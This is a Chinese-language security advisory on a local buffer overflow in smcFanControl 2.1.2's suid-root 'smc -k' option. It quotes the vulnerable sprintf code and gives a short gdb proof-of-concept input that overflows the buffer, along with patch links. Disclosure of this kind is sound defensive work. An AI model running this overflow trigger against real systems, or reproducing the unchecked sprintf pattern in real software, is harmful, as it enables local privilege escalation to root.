smcFanControl smc -k选项本地溢出漏洞
发布日期:2008-11-11
更新日期:2008-11-12
受影响系统:Hendrik Holtmann smcFanControl 2.1.2
描述:
BUGTRAQ ID:
32252
smcFanControl是在苹果机器上所使用的用于控制风扇转速的免费软件。
在/Applications/smcFanControl.app/Contents/Resources/smc文件中,smc -k输入选项无法处理超大的缓冲区,这可能导致缓冲区溢出。以下是smc.c中的有漏洞代码段:
-- snip snip --
int main(int argc, char *argv[])
{
int c;
extern char *optarg;
extern int optind, optopt, opterr;
kern_return_t result;
int op = OP_NONE;
UInt32Char_t key = "\0";
SMCVal_t val;
while ((c = getopt(argc, argv, "fhk:lrw:v")) != -1)
{
switch(c)
{
case 'f':
op = OP_READ_FAN;
break;
case 'k':
sprintf(key, optarg); // Overflow !!!
break;
-- snip snip --
在默认安装中,smc二进制程序是以suid root安装的,这就允许本地用户获得root权限提升。
<*来源:KaiJern, Lau (
kjlau@vnsecurity.net))
链接:
http://marc.info/?l=full-disclosure&m=122641292929119&q=p5
http://secunia.com/advisories/32679/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
$ gdb -q /Applications/smcFanControl.app/Contents/Resources/smc
Reading symbols for shared libraries ... done
(gdb) r -k `ruby -e 'print "A" * 45'`BBBBCCCC
建议:
厂商补丁:
Hendrik Holtmann
----------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.macupdate.com/info.php/id/23049浏览次数:2648
严重程度:0(网友投票)